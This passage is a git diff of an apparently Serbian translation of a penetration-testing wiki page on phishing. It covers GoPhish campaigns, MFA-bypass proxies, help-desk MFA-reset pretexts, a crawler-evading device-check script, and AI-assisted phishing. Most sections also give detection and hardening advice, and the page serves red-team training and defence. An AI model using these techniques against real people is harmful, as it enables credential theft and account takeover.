> Obično će biti potrebno modifikovati HTML kod stranice i raditi testove lokalno (možda koristeći neki Apache server) **dok ne dobijete željene rezultate.** Zatim taj HTML kod upišite u polje.\
|
||||||
> Imajte u vidu da ako treba da **koristite neke statične resurse** za HTML (npr. CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_
|
> Napomena: ako trebate **koristiti statičke resurse** za HTML (npr. neke CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Za preusmeravanje možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili preusmeriti ih na _/static/migration.html_ na primer, prikazati **spinning wheel** ([https://loading.io/](https://loading.io)) 5 sekundi i potom naznačiti da je proces uspešan.
|
> Za redirection možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili ih redirektovati na _/static/migration.html_ na primer, prikazati neki **spinning wheel** ([**https://loading.io/**](https://loading.io)) 5 sekundi i onda naznačiti da je proces uspešan.
|
||||||
|
|
||||||
### Korisnici i grupe
|
### Users & Groups
|
||||||
|
|
||||||
- Postavite naziv
|
- Podesite ime
|
||||||
- **Importujte podatke** (imajte u vidu da da biste koristili šablon za primer trebate firstname, last name i email address svakog korisnika)
|
- **Importujte podatke** (imajte u vidu da za korišćenje template-a u primeru trebate firstname, last name i email address svakog korisnika)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Kampanja
|
### Campaign
|
||||||
|
|
||||||
Na kraju, kreirajte kampanju birajući ime, šablon e‑pošte, landing page, URL, sending profile i grupu. Imajte na umu da će URL biti link poslat žrtvama.
|
Na kraju, kreirajte kampanju birajući ime, email template, landing page, URL, Sending Profile i grupu. Napomena: URL će biti link poslat žrtvama.
|
||||||
|
|
||||||
Napomena: **Sending Profile omogućava slanje testne poruke da vidite kako će konačna phishing poruka izgledati**:
|
Imajte u vidu da **Sending Profile omogućava slanje test mejla da vidite kako će finalni phishing mejl izgledati**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Preporučio bih da **testne poruke šaljete na 10min mail adrese** kako biste izbegli da vas stave na blacklist prilikom testiranja.
|
> Preporučujem da **test mejlove šaljete na 10min mail adrese** kako biste izbegli da budete blacklisted tokom testiranja.
|
||||||
|
|
||||||
Kada je sve spremno, jednostavno pokrenite kampanju!
|
Kada je sve spremno, samo pokrenite kampanju!
|
||||||
|
|
||||||
## Kloniranje vebsajta
|
## Website Cloning
|
||||||
|
|
||||||
Ako iz bilo kog razloga želite da klonirate vebsajt, pogledajte sledeću stranicu:
|
Ako iz bilo kog razloga želite da klonirate vebsajt, proverite sledeću stranicu:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
clone-a-website.md
|
clone-a-website.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Dokumenti i fajlovi sa backdoorom
|
## Backdoored Documents & Files
|
||||||
|
|
||||||
U nekim phishing procenama (uglavnom za Red Team-ove) možda ćete želeti da pošaljete i **fajlove koji sadrže neku vrstu backdoor-a** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\
|
U nekim phishing procenama (uglavnom za Red Teams) ćete želeti i da **pošaljete fajlove koji sadrže neku vrstu backdoora** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\
|
||||||
Pogledajte sledeću stranicu za neke primere:
|
Pogledajte sledeću stranicu za neke primere:
|
||||||
|
|
||||||
|
|
||||||
@ -408,55 +408,55 @@ phishing-documents.md
|
|||||||
|
|
||||||
## Phishing MFA
|
## Phishing MFA
|
||||||
|
|
||||||
### Preko Proxy MitM
|
### Via Proxy MitM
|
||||||
|
|
||||||
Prethodna metoda je prilično pametna jer falsifikujete pravu veb stranicu i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo tačnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se predstavljate kao prevareni korisnik**.
|
Prethodni napad je prilično pametan jer falsifikujete stvarni sajt i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se imitujete kao kompromitovani korisnik**.
|
||||||
|
|
||||||
Tu dolaze alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). Ovi alati vam omogućavaju da generišete MitM napad. U osnovi, napad funkcioniše na sledeći način:
|
Ovde alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) postaju korisni. Ovaj alat vam omogućava da generišete MitM tip napada. U suštini, napad funkcioniše na sledeći način:
|
||||||
|
|
||||||
1. Lažirate login formu prave veb stranice.
|
1. Vi **imitirate login** formu prave web stranice.
|
||||||
2. Korisnik pošalje svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentiali rade**.
|
2. Korisnik **pošalje** svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentials rade**.
|
||||||
3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod alat će ga proslediti pravoj veb stranici.
|
3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod, alat će ga poslati pravoj web stranici.
|
||||||
4. Kada je korisnik autentifikovan, vi (kao napadač) ste **zabeležili kredencijale, 2FA kod, cookie i sve informacije** svake interakcije dok alat radi MitM.
|
4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene credentials, 2FA, cookie i sve informacije** o svakoj interakciji dok alat radi MitM.
|
||||||
|
|
||||||
### Preko VNC
|
### Via VNC
|
||||||
|
|
||||||
Šta ako umesto da **preusmerite žrtvu na zlonamernu stranicu** koja izgleda kao original, pošaljete žrtvu u **VNC sesiju sa browser-om povezanom na pravu veb stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji koristi, cookie-je...\
|
Šta ako umesto da **preusmerite žrtvu na malicioznu stranicu** koja izgleda kao originalna, pošaljete je u **VNC sesiju sa browserom koji je povezan na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji se koristi, cookies...\
|
||||||
To možete uraditi koristeći [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
Možete ovo postići pomoću [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||||
|
|
||||||
## Kako otkriti da ste otkriveni
|
## Detecting the detection
|
||||||
|
|
||||||
Očigledno je da je jedan od najboljih načina da znate da li ste “pali” da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, vaš domen je na neki način detektovan kao sumnjiv.\
|
Očigledno, jedan od najboljih načina da saznate da li ste otkriveni je da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, na neki način je vaš domen detektovan kao sumnjiv.\
|
||||||
Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com)
|
Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je korišćenje [https://malwareworld.com/](https://malwareworld.com)
|
||||||
|
|
||||||
Međutim, postoje i drugi načini da znate da li žrtva **aktivno traži sumnjive phishing domene** kako je objašnjeno u:
|
Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjive phishing domene u prirodi**, kao što je objašnjeno u:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
detecting-phising.md
|
detecting-phising.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Možete **kupiti domen vrlo sličnog imena** žrtvinom domenu **i/ili generisati sertifikat** za **subdomen** domena koji kontrolišete, a koji sadrži **ključnu reč** iz domena žrtve. Ako **žrtva** izvrši bilo koju vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete primorani da budete veoma stealth.
|
Možete **kupiti domen sa veoma sličnim imenom** domenu žrtve **i/ili generisati sertifikat** za **subdomen** domena koji vi kontrolišete **koji sadrži** **ključnu reč** žrtvinog domena. Ako žrtva izvrši bilo kakvu **DNS ili HTTP interakciju** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete prinuđeni da budete veoma stealth.
|
||||||
|
|
||||||
### Procena phishing kampanje
|
### Evaluate the phishing
|
||||||
|
|
||||||
Koristite [**Phishious**](https://github.com/Rices/Phishious) da procenite da li će vaša poruka završiti u spam folderu, biti blokirana ili uspešna.
|
Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaš mejl završiti u spam folderu, biti blokiran ili uspešan.
|
||||||
|
|
||||||
## High-Touch Identity Compromise (Help-Desk MFA Reset)
|
## High-Touch Identity Compromise (Help-Desk MFA Reset)
|
||||||
|
|
||||||
Savremeni intrusion setovi sve češće uopšte preskaču e‑mail mamce i **direktno ciljaju service-desk / workflow za identity-recovery** kako bi zaobišli MFA. Napad je u potpunosti “living-off-the-land”: jednom kada operator posede validne kredencijale pivot-uje koristeći ugrađene admin alate – nije potreban malware.
|
Moderni intrusion setovi sve više preskaču email mamce i **direktno ciljaju service-desk / identity-recovery workflow** kako bi zaobišli MFA. Napad je potpuno "living-off-the-land": kada operator poseduje validne kredencijale, on pivotira sa ugrađenim admin alatima – nije potreban malware.
|
||||||
|
|
||||||
### Tok napada
|
### Attack flow
|
||||||
1. Recon na metu
|
1. Recon žrtve
|
||||||
* Prikupljanje ličnih i korporativnih podataka sa LinkedIn-a, iz data breach-eva, javnog GitHub-a itd.
|
* Sakupite lične i korporativne podatke sa LinkedIn, curenja podataka, javnog GitHub-a, itd.
|
||||||
* Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojte tačan help-desk proces za reset lozinke / MFA.
|
* Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojite **tačan help-desk proces** za reset lozinke / MFA.
|
||||||
2. Socijalni inženjering u realnom vremenu
|
2. Real-time social engineering
|
||||||
* Poziv, Teams ili chat help-deska dok se predstavljate kao meta (često sa **lažiranim caller-ID** ili **kloniranim glasom**).
|
* Telefon, Teams ili chat sa help-deskom dok se predstavljate kao cilj (često sa **spoofed caller-ID** ili **cloned voice**).
|
||||||
* Dajte ranije prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju.
|
* Pružite prethodno prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju.
|
||||||
* Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovani mobilni broj.
|
* Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovanom broju mobilnog.
|
||||||
3. Odmah nakon pristupa (≤60 min u realnim slučajevima)
|
3. Immediate post-access actions (≤60 min u realnim slučajevima)
|
||||||
* Uspostavite pristup kroz bilo koji web SSO portal.
|
* Uspostavite foothold preko bilo kog web SSO porta.
|
||||||
* Enumerišite AD / AzureAD koristeći ugrađene alate (bez drop-ovanja binarnih fajlova):
|
* Enumerišite AD / AzureAD koristeći ugrađene alate (bez postavljanja binarnih fajlova):
|
||||||
```powershell
|
```powershell
|
||||||
# list directory groups & privileged roles
|
# list directory groups & privileged roles
|
||||||
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
||||||
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
|||||||
# Enumerate devices the account can login to
|
# Enumerate devices the account can login to
|
||||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||||
```
|
```
|
||||||
* Lateralan pokret koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelist-i u okruženju.
|
* Lateralno kretanje koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelisti u okruženju.
|
||||||
|
|
||||||
### Detekcija i mitigacija
|
### Detection & Mitigation
|
||||||
* Tretirajte help-desk identity recovery kao **privilegovan proces** – zahtevajte step-up auth i odobrenje menadžera.
|
* Tretirajte help-desk identity recovery kao **privileged operation** – zahtevajte step-up auth i odobrenje menadžera.
|
||||||
* Implementirajte **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alertuju na:
|
* Rasporedite **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alarmiraju na:
|
||||||
* Promenu MFA metode + autentikaciju sa novog uređaja / geolokacije.
|
* Promena MFA metode + autentikacija sa novog uređaja / geolokacije.
|
||||||
* Odmahšnja elevacija istog principala (user → admin).
|
* Momentalno eleviranje istog principala (user → admin).
|
||||||
* Snimajte help-desk pozive i primenite **call-back na već registrovani broj** pre bilo kakvog reseta.
|
* Snimajte help-desk pozive i zahtevajte **call-back na već registrovan broj** pre bilo kakvog reseta.
|
||||||
* Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne dobijaju automatski** visoke privilegovane tokene.
|
* Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne nasleđuju automatski** visokopriovilegovane tokene.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Decepcija u velikom obimu – SEO Poisoning & “ClickFix” kampanje
|
## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
|
||||||
Commodity ekipe pokrivaju troškove high-touch operacija masovnim napadima koji pretvaraju **pretraživače i ad network-e u kanal isporuke**.
|
Commodity timovi kompenzuju troškove high-touch operacija masovnim napadima koji pretvaraju **search engines & ad networks u kanal isporuke**.
|
||||||
|
|
||||||
1. **SEO poisoning / malvertising** ističe lažni rezultat poput `chromium-update[.]site` u vrhu search oglasa.
|
1. **SEO poisoning / malvertising** gura lažni rezultat poput `chromium-update[.]site` na vrh pretrage i oglasa.
|
||||||
2. Žrtva preuzme mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42:
|
2. Žrtva skida mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42:
|
||||||
* `RedLine stealer`
|
* `RedLine stealer`
|
||||||
* `Lumma stealer`
|
* `Lumma stealer`
|
||||||
* `Lampion Trojan`
|
* `Lampion Trojan`
|
||||||
3. Loader eksfiltrira cookie-je pretraživača + baze kredencijala, zatim povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje:
|
3. Loader eksfiltrira cookies iz browsera + credential DBs, potom povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje:
|
||||||
* RAT (npr. AsyncRAT, RustDesk)
|
* RAT (npr. AsyncRAT, RustDesk)
|
||||||
* ransomware / wiper
|
* ransomware / wiper
|
||||||
* komponentu za persistenciju (registry Run ključ + scheduled task)
|
* persistence komponentu (registry Run key + scheduled task)
|
||||||
|
|
||||||
### Saveti za hardening
|
### Hardening tips
|
||||||
* Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na e‑mail.
|
* Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na email.
|
||||||
* Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom.
|
* Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom.
|
||||||
* Monitorišite child procese browser-a koji otvaraju instalere:
|
* Monitorišite child procese browsera koji otvaraju instalere:
|
||||||
```yaml
|
```yaml
|
||||||
- parent_image: /Program Files/Google/Chrome/*
|
- parent_image: /Program Files/Google/Chrome/*
|
||||||
and child_image: *\\*.exe
|
and child_image: *\\*.exe
|
||||||
```
|
```
|
||||||
* Lovite na LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`).
|
* Tražite LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## AI‑poboljšane phishing operacije
|
## AI-Enhanced Phishing Operations
|
||||||
Napadači sada povezuju **LLM & voice-clone API-je** za potpuno personalizovane mamce i interakciju u realnom vremenu.
|
Napadači sada povezuju **LLM & voice-clone APIs** za potpuno personalizovane mamce i interakciju u realnom vremenu.
|
||||||
|
|
||||||
| Sloj | Primer upotrebe od strane threat aktora |
|
| Layer | Primer upotrebe od strane threat actor-a |
|
||||||
|------|----------------------------------------|
|
|-------|------------------------------------------|
|
||||||
| Automatizacija | Generisanje i slanje >100k e‑mailova / SMS-ova sa randomizovanim porukama i tracking linkovima. |
|
|Automation|Generisanje i slanje >100k mejlova / SMS sa nasumično variranim tekstom i tracking linkovima.|
|
||||||
| Generativni AI | Proizvodnja jedinstvenih e‑mailova koji referenciraju javne M&A, interne šale sa društvenih mreža; deep-fake glas CEO-a u callback prevari. |
|
|Generative AI|Kreiranje *jedinstvenih* mejlova koji referenciraju javne M&A događaje, interne šale sa društvenih mreža; deep-fake CEO glas u callback prevari.|
|
||||||
| Agentic AI | Autonomna registracija domena, scrape open-source intel-a, kreiranje sledećih mejlova kada žrtva klikne ali ne pošalje kredencijale. |
|
|Agentic AI|Autonomno registruje domene, scrape-uje open-source intel, kreira sledeće mejlove kada žrtva klikne ali ne pošalje kredencijale.|
|
||||||
|
|
||||||
**Odbrana:**
|
**Defence:**
|
||||||
• Dodajte **dinamičke banere** koji ističu poruke poslate iz nepouzdanih automatizovanih izvora (preko ARC/DKIM anomalija).
|
• Dodajte **dinamične banere** koji ističu poruke poslate iz nepouzdanih automatizacija (na osnovu ARC/DKIM anomalija).
|
||||||
• Implementirajte **voice-biometric challenge phrases** za visokorizične telefonske zahteve.
|
• Implementirajte **voice-biometric challenge phrases** za high-risk telefonske zahteve.
|
||||||
• Kontinuirano simulirajte AI‑generisane mamce u programima svesti – statični šabloni su zastareli.
|
• Kontinuirano simulirajte AI-generisane mamce u programima svesti – statički templatei su zastareli.
|
||||||
|
|
||||||
See also – agentic browsing abuse for credential phishing:
|
See also – agentic browsing abuse for credential phishing:
|
||||||
|
|
||||||
@ -526,18 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## MFA Fatigue / Push Bombing varijanta – Forsirani reset
|
## MFA Fatigue / Push Bombing Variant – Forced Reset
|
||||||
Pored klasičnog push-bombinga, operateri jednostavno **forsiraju novu MFA registraciju** tokom poziva help-deska, poništavajući korisnikov postojeći token. Bilo koji naredni prompt za prijavu izgleda legitimno za žrtvu.
|
Pored klasičnog push-bombinga, operatori jednostavno **prisile novu MFA registraciju** tokom help-desk poziva, poništavajući korisnikov postojeći token. Bilo koji naredni login prompt izgleda legitimno žrtvi.
|
||||||
```text
|
```text
|
||||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||||
[Attacker] → Completes new TOTP enrolment on their own device
|
[Attacker] → Completes new TOTP enrolment on their own device
|
||||||
```
|
```
|
||||||
Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**.
|
Pratite AzureAD/AWS/Okta događaje gde **`deleteMFA` + `addMFA`** dogode **u roku od nekoliko minuta sa iste IP adrese**.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Clipboard Hijacking / Pastejacking
|
## Clipboard Hijacking / Pastejacking
|
||||||
|
|
||||||
Napadači mogu neprimetno kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice i zatim prevariti korisnika da ih zalepi u **Win + R**, **Win + X** ili u prozor terminala, čime se izvršava proizvoljni kod bez ikakvog preuzimanja ili priloga.
|
Napadači mogu tiho kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice, a zatim prevariti korisnika da ih nalepi u **Win + R**, **Win + X** ili terminal prozor, izvršavajući arbitrarni kod bez ikakvog preuzimanja ili priloga.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -551,6 +553,33 @@ clipboard-hijacking.md
|
|||||||
mobile-phishing-malicious-apps.md
|
mobile-phishing-malicious-apps.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Mobile‑gated phishing to evade crawlers/sandboxes
|
||||||
|
Operatori sve češće stavljaju svoje phishing flows iza jednostavne provere uređaja tako da desktop crawleri nikada ne dođu do krajnjih stranica. Uobičajen obrazac je mali skript koji testira touch-capable DOM i šalje rezultat na server endpoint; non‑mobile klijenti dobijaju HTTP 500 (ili praznu stranicu), dok mobile korisnici dobijaju ceo flow.
|
||||||
|
|
||||||
|
Minimal client snippet (typical logic):
|
||||||
|
```html
|
||||||
|
<script src="/static/detect_device.js"></script>
|
||||||
|
```
|
||||||
|
`detect_device.js` logika (pojednostavljeno):
|
||||||
|
```javascript
|
||||||
|
const isMobile = ('ontouchstart' in document.documentElement);
|
||||||
|
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
|
||||||
|
.then(()=>location.reload());
|
||||||
|
```
|
||||||
|
Često zapaženo ponašanje servera:
|
||||||
|
- Postavlja session cookie tokom prvog učitavanja.
|
||||||
|
- Prihvata `POST /detect {"is_mobile":true|false}`.
|
||||||
|
- Vraća 500 (ili placeholder) na naredne GET zahteve kada je `is_mobile=false`; prikazuje phishing samo ako je `true`.
|
||||||
|
|
||||||
|
Heuristike za otkrivanje i detekciju:
|
||||||
|
- urlscan upit: `filename:"detect_device.js" AND page.status:500`
|
||||||
|
- Web telemetrija: sekvenca `GET /static/detect_device.js` → `POST /detect` → HTTP 500 za ne-mobilne uređaje; legitimne putanje mobilnih žrtava vraćaju 200 sa narednim HTML/JS.
|
||||||
|
- Blokirajte ili detaljno proverite stranice koje uslovljavaju sadržaj isključivo na `ontouchstart` ili sličnim proverama uređaja.
|
||||||
|
|
||||||
|
Saveti za odbranu:
|
||||||
|
- Pokrenite crawlers sa mobile-like fingerprints i omogućite JS da otkrijete gated content.
|
||||||
|
- Postavite alarm za sumnjive 500 odgovore koji slede nakon `POST /detect` na novoregistrovanim domenima.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||||
@ -558,5 +587,6 @@ mobile-phishing-malicious-apps.md
|
|||||||
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||||
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||||
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
||||||
|
- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user